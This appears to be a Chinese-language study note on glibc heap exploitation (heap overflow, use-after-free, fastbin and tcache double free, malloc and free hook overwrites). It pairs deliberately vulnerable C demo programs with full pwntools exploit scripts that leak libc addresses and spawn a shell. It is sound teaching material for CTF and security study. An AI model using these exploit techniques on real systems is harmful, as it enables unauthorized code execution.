glibc 2.27引入的新機制,主要是為了優化heap的機制,引入了tcache_entry和tcache_perthread_struct(source code取glibc 2.31)
當第一次malloc時,像kernel申請一大塊記憶體(Top chunk),並且從top chunk割空間給malloc申請的記憶體,並初始化main arena。
觀察一下0x555555559290,左邊都是0(因為上一塊是Tcache,所以這塊是Tcace的data),右邊是size跟p bit,上一個chunk還在使用為1,大小為0x40,故顯示0x41
條件
等價
ptr = NULL
malloc(size)
size = 0
free(*ptr)
brk & sbrk 1 2 3 #include <unistd.h> int brk (void *addr) ;void *sbrk (intptr_t increment) ;
會去改變program break的位置 program break 是 data segments end point,也就是heap結束位置
image
heap overflow 將資料寫入heap時,沒有控制輸入長度,導致可以覆寫到其他heap位置
demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { char name[8 ]; int privilege; char *msg; char reserved[0x18 ]; } Info; void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } int main (void ) { Info *info; char *msg; init(); printf ("Hello~\n" ); printf ("give me your msg: \n" ); msg = malloc (40 ); info = malloc (sizeof (Info)); strcpy (info->name, "User" ); info->privilege = 2 ; info->msg = msg; read(0 , msg, 0x40 ); printf ("Checking privilege...\n" ); if (info->privilege == 1 ) { printf ("Hello Admin %s\n" , info->name); } else { printf ("Your privilege is too low QQ, Bye %s\n" , info->name); } return 0 ; }
分析 看一下parseheap你會看到malloc了兩塊,一塊0x30,一塊0x40
image
第一塊read了0x40,大於40(0x28),可以heap overflow
像這樣你就發現輸出的User已經變成了一堆a了
image
第二塊架構是
1 2 3 4 5 6 typedef struct { char name[8 ]; int privilege; char *msg; char reserved[0x18 ]; } Info;
image
1 2 3 4 0x5555555592c0: 0x0000000000000000 0x0000000000000041 (header) 0x5555555592d0: 0x0000000072657355 0x0000000000000002 (User、privilege) 0x5555555592e0: 0x00005555555592a0 0x0000000000000000 (*msg、reserve) 0x5555555592f0: 0x0000000000000000 0x0000000000000000
然後看到read,會把東西讀到第一塊chunk
image
要蓋掉User、privilege
image
1 2 3 4 5 6 7 0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000000 0x5555555592c0: 0x0000000000000000 0x0000000000000041(蓋0x30蓋到這裡) 0x5555555592d0: 0x0000000072657355 0x0000000000000002 0x5555555592e0: 0x00005555555592a0 0x0000000000000000 0x5555555592f0: 0x0000000000000000 0x0000000000000000
script 1 2 3 4 5 6 7 8 from pwn import *r=process('./heapoverflow' ) payload=b'a' *0x30 +b'NAUP\0\0\0\0' +p64(1 ) r.sendline(payload) r.interactive()
這樣就成功了
image
UAF(use after free) 我們把指標丟給free,會把指標指向的chunk free掉
如果free掉後,沒有清空pointer就可能會有問題(可以用來information leak) 又稱dangling pointer
後續繼續在這個chunk上做操做就是UAF
讀取pointer 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> #include <string.h> void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } int main () { init(); char *buf[0x10 ]; char *ptr1 = malloc (0x20 ); char *ptr2 = malloc (0x20 ); char *ptr3 = malloc (0x20 ); free (ptr1); free (ptr2); free (ptr3); memcpy (buf, ptr1, 0x10 ); printf ("ptr1 fd: %#llx\n" , *(unsigned long long *)buf); memcpy (buf, ptr2, 0x10 ); printf ("ptr2 fd: %#llx\n" , *(unsigned long long *)buf); memcpy (buf, ptr3, 0x10 ); printf ("ptr3 fd: %#llx\n" , *(unsigned long long *)buf); return 0 ; }
舉這個程式為例,你就會發現當你已經free掉這三塊chunk後你在針對三個ptr去做讀取,可以讀到fd三個值
double free 可以free同一塊chunk兩次
會出現幾個狀況 Tcache or fast bin鍊上會出現兩次相同的chunk
那如果我再次malloc他呢?
那就會出現他記憶體給你了變成allocated chunk,但他還在鏈表,變成了既被free,又被allocate的狀況
hook 在malloc/free/realloc/calloc 進到分配相關演算法之前,若有設定hook function,會先進入hook
若可以寫入hook,那就可以就可以control執行流程
也可以寫入Onegadget來get shell
Glibc source code https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3022
1 2 3 4 5 void *(*hook) (size_t , const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL , 0 )) return (*hook)(bytes, RETURN_ADDRESS (0 ));
可以看到他在往下執行前先去read __malloc_hook
並執行他
demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <stdio.h> #include <stdlib.h> void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } void get_shell () { system("/bin/sh" ); } int main (void ) { init(); unsigned long long ptr; unsigned long long value; printf ("backdoor: %p\n" , get_shell); printf ("printf : %p\n" , printf ); printf ("Address:\n" ); scanf ("%llx" , &ptr); printf ("Value:\n" ); scanf ("%llx" , &value); *(unsigned long long *)ptr = value; malloc (0x20 ); return 0 ; }
告訴你shell在哪裡(可以無視PIE了),然後給你printf(也給你libc base了,可以推算hook function在哪裡)
然後要你寫入一個adress跟value,並往那個adress寫入value 那如果你把malloc_hook位置改寫成shell,那你進malloc讀出來的東西就是shell的adress,然後他就會去執行shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *r=process('./hookdemo' ) printf_offset=0x61c90 shell_address=r.recvline().strip().split(b":" )[1 ][1 :] shell_address=int (shell_address.decode(),16 ) print ("shell_address: " ,hex (shell_address))leak_libc=r.recvline().strip().split(b":" )[1 ][1 :] leak_libc=int (leak_libc.decode(),16 ) libc_base=leak_libc-printf_offset print ("leak_libc: " ,hex (leak_libc))print ("libc base: " ,hex (libc_base))hook=0x1ecb70 +libc_base r.sendlineafter(b"Address:" ,hex (hook)) r.sendlineafter(b"Value:" ,hex (shell_address)) r.interactive()
image
fastbin dup(glibc 2.23) 可以double free讓chunk被free兩次 之後我malloc,此時chunk會同時是allocate和free chunk,這時候我可以寫入蓋掉fd,讓fd指向任意位置
這時候再次malloc會讓我拿到一塊我剛剛改寫fd指向的地方
這時候就可以任意寫入了
示意 1 2 3 4 fastbin chunk 1(allocate) chunk 2(allocate)
現在我們先free掉chunk 1、chunk 2
1 2 3 4 fastbin->chunk2->chunk1->NULL chunk 1(free) chunk 2(free)
再來再free一次chunk 1
1 2 3 4 fastbin->chunk1->chunk2->chunk1->chunk2->... chunk 1(double free) chunk 2(free)
這時候malloc 會拿到chunk 1(然後fastbin退鏈改指chunk 2)
1 2 3 4 5 6 fastbin->chunk2->chunk1->chunk2->... ^ chunk1 ___| chunk 1(double free & allocate) chunk 2(free)
這時候對當前malloc到的那塊寫入fd,到一個的pwn_address
1 2 3 4 fastbin->chunk2->chunk1->pwn_address->?? chunk 1(double free & allocate) chunk 2(free)
再來malloc拿到 chunk 2,fastbin退鏈(隨便寫啥都行)
1 2 3 4 fastbin->chunk1->pwn_address->?? chunk 1(double free & allocate) chunk 2(allocate)
再malloc拿到chunk 1,fastbin退鏈指到惡意address(隨便寫啥都行)
1 2 3 4 fastbin->pwn_address->?? chunk 1(double free & allocate) chunk 2(allocate)
再malloc拿到pwn_address,達成任意寫,fastbin->???(這裡須注意,在glibc 2.26以前,fd指向header,但開始寫會從user data,所以選擇address時要往前指0x10左右)
然後注意,你指向的位置的chunk size需要符合該fastbin 所屬size
安全機制 first 你free的下一塊鄰近chunk size是否正確
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0 )) { if (have_lock || ({ assert (locked == 0 ); mutex_lock(&av->mutex); locked = 1 ; chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)" ; goto errout; } if (! have_lock) { (void )mutex_unlock(&av->mutex); locked = 0 ; } }
second 若fastbin上的第一個free chunk,又被做了一次free chunk,就會偵測到然後crash
所以為甚麼前面是free 1->free2->free1 這樣fastbin上第一個free chunk就是free2,來bypass
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3929
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mchunkptr old = *fb, old2; unsigned int old_idx = ~0u ; do { if (__builtin_expect (old == p, 0 )) { errstr = "double free or corruption (fasttop)" ; goto errout; } if (have_lock && old != NULL ) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0 )) { errstr = "invalid fastbin entry (free)" ; goto errout; } }
third malloc 時候檢查拿到的chunk是否跟fastbin一樣
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL) break ; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim); if (victim != 0 ) { if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes ); return p; } }
fourth 2.27加入tcache機制,但這版本拔掉了原本的檢查double free(鍊上第一個是否是現在free的),且尚未加入key之類的機制,利用起來比2.23簡單
demo source code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 #include <stdio.h> #include <stdlib.h> char *g_ptrs[0x20 ];int g_size[0x20 ];int g_used[0x20 ];int idx = 0 ;void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } int read_num () { int num; scanf ("%d" , &num); return num; } void menu () { puts ("=== Note System v0.87 ===" ); puts ("1) Create Note" ); puts ("2) Get Note" ); puts ("3) Set Note" ); puts ("4) Delete Note" ); puts ("5) Bye" ); printf ("# " ); } void create () { int size; if (idx >= 0x20 ) { return ; } printf ("size:\n" ); scanf ("%d" , &size); g_ptrs[idx] = malloc (size); g_size[idx] = size; g_used[idx] = 1 ; printf ("Create: g_ptrs[%d]\n" , idx); idx++; } void get () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_used[idx]) { printf ("g_ptrs[%d]: %s\n" , idx, g_ptrs[idx]); } } void set () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_used[idx]) { printf ("str:\n" ); read(0 , g_ptrs[idx], g_size[idx]); } } void delete () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_ptrs[idx]) { free (g_ptrs[idx]); g_used[idx] = 0 ; } } int main (void ) { init(); while (1 ) { menu(); switch (read_num()) { case 1 : create(); break ; case 2 : get(); break ; case 3 : set (); break ; case 4 : delete(); break ; case 5 : return 0 ; default : exit (1 ); } } return 0 ; }
分析 可以輸入1~5,分別對應
1 2 3 4 5 6 7 8 9 10 void menu () { puts ("=== Note System v0.87 ===" ); puts ("1) Create Note" ); puts ("2) Get Note" ); puts ("3) Set Note" ); puts ("4) Delete Note" ); puts ("5) Bye" ); printf ("# " ); }
create() -> 1
malloc一個chunk,並可以指定一個size
並且把東西存到這三個global variable
1 2 3 char *g_ptrs[0x20 ];int g_size[0x20 ];int g_used[0x20 ];
get() -> 2
先確認該chunk存不存在,以及是否是allocated,你可以指定index,然後給你他的內容
set() -> 3
先確認該chunk存不存在,以及是否是allocated 指定index,並可以把內容寫進去chunk裡面
delete -> 4
輸入一個index,若該ptrs存在,則把它free掉,然後把used改成0
1 2 3 4 if (g_ptrs[idx]) { free (g_ptrs[idx]); g_used[idx] = 0 ; }
觀察一下這裡,他是去找g_ptrs裡面有沒有然後再free掉,但很顯然的g_ptrs就算你free掉了,也不會把它清掉所以就可以double free
並且打這題目前要有一個先備知識,要怎麼leak libc,我們打算透過fastbin dup來改malloc_hook,那就必須要有libc base,這邊可以用unsorted bin來leak,因為當unsorted bin被free掉時候,fd、bk會指向一個libc address
像是這樣,我先malloc一個
image
然後free,就可以發現有了
image
接下來我透過在malloc一次一樣大小的來拿到同一塊,並且fd、bk沒有被清空,用get,就可以把它印出來了
拿offset
image
1 2 3 4 >>> 0x72db424aab78-0x72db420e6000 3951480 >>> hex(3951480) '0x3c4b78'
目前這樣可以leak libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] def create (size ): r.sendline(b'1' ) r.sendline(str (size).encode()) def get (idx ): r.sendline(b'2' ) r.sendline(str (idx).encode()) r.recvuntil(b']: ' ) chunk_str=r.recvline().strip() return chunk_str def set (index, payload ): r.sendline(b'3' ) r.sendline(str (index).encode()) r.send(payload) def delete (index ): r.sendline(b'4' ) r.sendline(str (index).encode()) r = process('./fastbindup' ) if DEBUG=='y' : gdb.attach(r) offset = 0x3c4b78 create(0x480 ) create(0x60 ) create(0x60 ) create(0x60 ) delete(0 ) create(0x480 ) leak_libc=u64(get(4 ).ljust(8 ,b'\0' )) libc_base=leak_libc-offset print ("NAUPINFO @ leak libc : " ,hex (leak_libc))print ("NAUPINFO @ libc base : " ,hex (libc_base))r.interactive()
再來就是要寫malloc hook了,這邊先做一件事,我們先到malloc hook去看看 我們需要bypass一個安全機制,較chunk size要一樣
image
觀察一下會發現,他有很多0x7c之類的東西 如果能把它當header size(推到header最尾端)就可以bypass
推一下就可以把他推到後面了(malloc hook - 0x33)
image
所以我們應該跳到(malloc hook - 0x23)
image
跳到libc base + malloc hook offset - 0x23
image
bypass
接下來要做fastbin dup
1 2 3 4 chunk 0 -> 0x440 chunk 1 -> 0x70 chunk 2 -> 0x70 chunk 3 -> 0x70
free 1、2
1 fastbin -> chunk 2 -> chunk 1
再free 1
1 fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
這邊再free 3
1 fastbin -> chunk 3 -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
這邊注意一點,我想把/bin/sh
寫進去到heap裡面,所以我要先leak heap的位置,這邊可以挑1 或 2,都沒差,反正到時候都用不到,我這邊挑chunk 1,因為我把chunk 3 free掉後fd指向chunk 1,所以我malloc回來get就可以拿到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] def create (size ): r.sendline(b'1' ) r.sendline(str (size).encode()) def get (idx ): r.sendline(b'2' ) r.sendline(str (idx).encode()) r.recvuntil(b']: ' ) chunk_str=r.recvline().strip() return chunk_str def set (index, payload ): r.sendline(b'3' ) r.sendline(str (index).encode()) r.send(payload) def delete (index ): r.sendline(b'4' ) r.sendline(str (index).encode()) r = process('./fastbindup' ) if DEBUG=='y' : gdb.attach(r) offset = 0x3c4b78 create(0x480 ) create(0x60 ) create(0x60 ) create(0x60 ) delete(0 ) create(0x480 ) leak_libc=u64(get(4 ).ljust(8 ,b'\0' )) libc_base=leak_libc-offset print ("NAUPINFO @ leak libc : " ,hex (leak_libc))print ("NAUPINFO @ libc base : " ,hex (libc_base))mallochook_offset = 0x3c4b10 malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x0000000000453a0 + libc_base print ('NAUPINFO @ MALLOC_HOOK : ' ,hex (malloc_hook))delete(1 ) delete(2 ) delete(1 ) delete(3 ) create(0x60 ) heap_chunk1 = u64(get(5 ).ljust(8 ,b'\0' )) print ('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ' ,hex (heap_chunk1))r.interactive()
現在fastbin chain
1 fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
先malloc 1(ptr index 6)
1 2 3 4 5 6 fastbin -> chunk 2 -> chunk 1 -> chunk 2 -> ... ^ chunk 1 _| chunk 1 (free & allocated) chunk 2 (free)
把chunk 1 寫入 malloc_hook 位置
1 2 3 4 fastbin -> chunk 2 -> chunk 1 -> malloc_hook chunk 1 (free & allocated) chunk 2 (free)
現在 malloc三次,拿到了
1 2 3 chunk 2(ptr index 7) chunk 1(ptr index 8) malloc_hook(ptr index 9)
把chunk 1寫入/bin/sh
,/bin/sh
位置就會在chunk 1 address + 0x10
那malloc hook現在到底在哪裡?
1 2 3 header 0x10 0x10 0x3 malloc hook
所以你要先padding,0x13
個a在寫掉malloc hook成system 最後傳入/bin/sh
1 malloc("/bin/sh") -> (*__malloc_hook)("/bin/sh") -> system("/bin/sh")
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] def create (size ): r.sendline(b'1' ) r.sendline(str (size).encode()) def get (idx ): r.sendline(b'2' ) r.sendline(str (idx).encode()) r.recvuntil(b']: ' ) chunk_str=r.recvline().strip() return chunk_str def set (index, payload ): r.sendline(b'3' ) r.sendline(str (index).encode()) r.send(payload) def delete (index ): r.sendline(b'4' ) r.sendline(str (index).encode()) r = process('./fastbindup' ) if DEBUG=='y' : gdb.attach(r) offset = 0x3c4b78 create(0x480 ) create(0x60 ) create(0x60 ) create(0x60 ) delete(0 ) create(0x480 ) leak_libc=u64(get(4 ).ljust(8 ,b'\0' )) libc_base=leak_libc-offset print ("NAUPINFO @ leak libc : " ,hex (leak_libc))print ("NAUPINFO @ libc base : " ,hex (libc_base))mallochook_offset = 0x3c4b10 malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x453a0 + libc_base print ('NAUPINFO @ MALLOC_HOOK : ' ,hex (malloc_hook))delete(1 ) delete(2 ) delete(1 ) delete(3 ) create(0x60 ) heap_chunk1 = u64(get(5 ).ljust(8 ,b'\0' )) print ('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ' ,hex (heap_chunk1))create(0x60 ) r.sendline(b'3' ) r.sendline(b'6' ) r.sendline(p64(malloc_hook)) print ('NAUPINFO @ Write Chunk 1 : ' ,hex (u64(get(6 ).ljust(8 ,b'\0' ))))create(0x60 ) create(0x60 ) create(0x60 ) set (8 ,b'/bin/sh' )write_malloc_hook_payload = b'a' * 0x13 + p64(libc_system) r.sendline(b'3' ) r.sendline(b'9' ) r.sendline(write_malloc_hook_payload) create(heap_chunk1+0x10 ) r.interactive()
Tcache bin dup(Glibc 2.26~2.28) 基本上跟Fastbin dup很像,但換成了Tcache
Glibc 2.27沒有檢查鍊表上第一個是不是現在要free掉的chunk,所以可以直接連續free兩次chunk不會有問題
另外注意,chunk fd指的是data
如果是glibc 2.28後加入了key會被寫成Tcache相關東西
流程
free掉chunk 1
再free一次
1 Tcache -> Chunk 1 -> Chunk 1 -> Chunk 1 -> ...
malloc拿到chunk 1並改寫fd
1 Tcache -> Chunk 1 -> Pwn_chunk
malloc兩次就可以拿到你要寫的東西了
demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 #include <stdio.h> #include <stdlib.h> char *g_ptrs;int g_size;int g_used;void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } int read_num () { int num; scanf ("%d" , &num); return num; } void menu () { puts ("=== Note System v0.087 ===" ); puts ("1) Create Note" ); puts ("2) Get Note" ); puts ("3) Set Note" ); puts ("4) Delete Note" ); puts ("5) Bye" ); printf ("# " ); } void create () { int size; printf ("size:\n" ); scanf ("%d" , &size); g_ptrs = malloc (size); g_size = size; g_used = 1 ; } void get () { if (g_used) { printf ("g_ptrs: %s\n" , g_ptrs); } } void set () { if (g_used) { printf ("str:\n" ); read(0 , g_ptrs, g_size); } } void delete () { if (g_ptrs) { free (g_ptrs); g_used = 0 ; } } int main (void ) { init(); char name[100 ]; puts ("Name:" ); read(0 , name, 0x100 ); printf ("Hello, %s\n" , name); while (1 ) { menu(); switch (read_num()) { case 1 : create(); break ; case 2 : get(); break ; case 3 : set (); break ; case 4 : delete(); break ; case 5 : return 0 ; default : exit (1 ); } } return 0 ; }
分析 這邊踩了一個坑,就是我們使用的的docker Glibc雖然是2.27,但是2.27保護機制跟裸奔一樣,所以有patch上保護,在2.27-3Ubuntu1.3加入key機制,所以我這邊找了比較舊的libc來patch上
1 2 3 4 LD: patchelf --set-interpreter ./ld-2.23.so tcachedup LIBC: patchelf --replace-needed libc.so.6 ./libc_32.so.6 tcachedup
首先先觀察一下,會發現這題跟原本很像,主要有兩個不同 第一個是這,這裡有BOF跟partial overwrite
1 2 3 4 5 char name[100 ];puts ("Name:" );read(0 , name, 0x100 ); printf ("Hello, %s\n" , name);
第二個不同是,原本的ptr array變成了變數,一次只能操作當前最新malloc的chunk
首先我們先leak libc,蓋0x78個a+一個\n會蓋到stack上的libc前面,printf會把它印出來,之後offset用動態抓扣出來
image
image
我們可以看到double free完後他變成了一個指向自己的循環
1 tcache bin -> chunk 1 -> chunk 1 -> ...
image
目前腳本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] r=process('./tcachedup' ) if DEBUG=='y' : gdb.attach(r) r.send(b'a' *0x78 ) r.recvuntil(b'a' *0x78 ) offset = 0x21b97 leak_libc=u64(r.recvline().strip().ljust(8 ,b'\0' )) libc_base=leak_libc-offset print ('NAUPINFO @ leak libc: ' ,hex (leak_libc))print ('NAUPINFO @ libc base: ' ,hex (libc_base))def create (size ): r.sendline(b'1' ) r.sendline(str (size).encode()) def get (): r.sendline(b'2' ) r.recvuntil(b'g_ptrs: ' ) return r.recvline().strip() def set (val ): r.sendline(b'3' ) r.send(val) def delete (): r.sendline(b'4' ) create(0x30 ) delete() delete() create(0x30 ) r.interactive()
接下來malloc會拿到chunk 1 之後我們先找兩個東西的offset,free hook(0x3ebc30)跟system(0x4f440)
我們把malloc的fd改成free hook,如圖已經改寫成功,所以tcache bin變成
1 tcache bin -> chunk 1 -> free hook
image
create兩次拿到free hook,寫入system,之後直接malloc一塊,把記憶體寫成/bin/sh,這樣就會有一個free(ptr)
,ptr->/bin/sh
1 free("/bin/sh") -> (*__free_hook)("/bin/sh") -> system("/bin/sh")
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from time import *from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] r=process('./tcachedup' ) if DEBUG=='y' : gdb.attach(r) r.send(b'a' *0x78 ) r.recvuntil(b'a' *0x78 ) offset = 0x21b97 leak_libc=u64(r.recvline().strip().ljust(8 ,b'\0' )) libc_base=leak_libc-offset print ('NAUPINFO @ leak libc: ' ,hex (leak_libc))print ('NAUPINFO @ libc base: ' ,hex (libc_base))def create (size ): sleep(0.1 ) r.sendline(b'1' ) r.sendline(str (size).encode()) def get (): sleep(0.1 ) r.sendline(b'2' ) r.recvuntil(b'g_ptrs: ' ) return r.recvline().strip() def set (val ): sleep(0.1 ) r.sendline(b'3' ) r.send(val) def delete (): sleep(0.1 ) r.sendline(b'4' ) free_hook_offset = 0x3ed8e8 system_offset = 0x4f440 free_hook = free_hook_offset + libc_base libc_system = system_offset + libc_base create(0x30 ) delete() delete() create(0x30 ) set (p64(free_hook))create(0x30 ) create(0x30 ) set (p64(libc_system))create(0x40 ) r.sendline(b'3' ) r.sendline(b'/bin/sh\0' ) delete() r.interactive()
備註: 可以加個sleep,這樣就不會送太快導致一些問題
large bin(Glibc 2.23) source code
image
glibc 2.31機制及保護 這版本引入了Tcache key的安全機制,在free之前會檢查key
__libc_malloc https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3021
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 void *__libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2 , "PTRDIFF_MAX is not more than half of SIZE_MAX" ); void *(*hook) (size_t , const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL , 0 )) return (*hook)(bytes, RETURN_ADDRESS (0 )); #if USE_TCACHE size_t tbytes; if (!checked_request2size (bytes, &tbytes)) { __set_errno (ENOMEM); return NULL ; } size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0 ) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL ) { LIBC_PROBE (memory_malloc_retry, 1 , bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL ) __libc_lock_unlock (ar_ptr->mutex); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; } libc_hidden_def (__libc_malloc)
__libc_free https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3085
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL , 0 )) { (*hook)(mem, RETURN_ADDRESS (0 )); return ; } if (mem == 0 ) return ; p = mem2chunk (mem); if (chunk_is_mmapped (p)) { if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2 , mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return ; } MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0 ); } libc_hidden_def (__libc_free)
malloc-tcache 安全機制 無檢測
free-tcache 安全機制 glibc 2.31
free(): double free detected in tcache 2
tcache裡面的chunk,bk會放tcache key,在free的時候會去檢查
可以透過UAF蓋掉tcache key,或是把tcache打滿七個去打fastbin
glibc 2.32
free(): unaligned chunk detected in tcache 2
tcache key引入加密機制,會檢查解密結果是否正確
glibc 2.35
free(): too many chunks detected in tcache
遍歷所有tcache chunk並計算數量,最後與mp_.tcache_count比較,若小於則crash,防止對tcache->counts[tc_idx]竄改
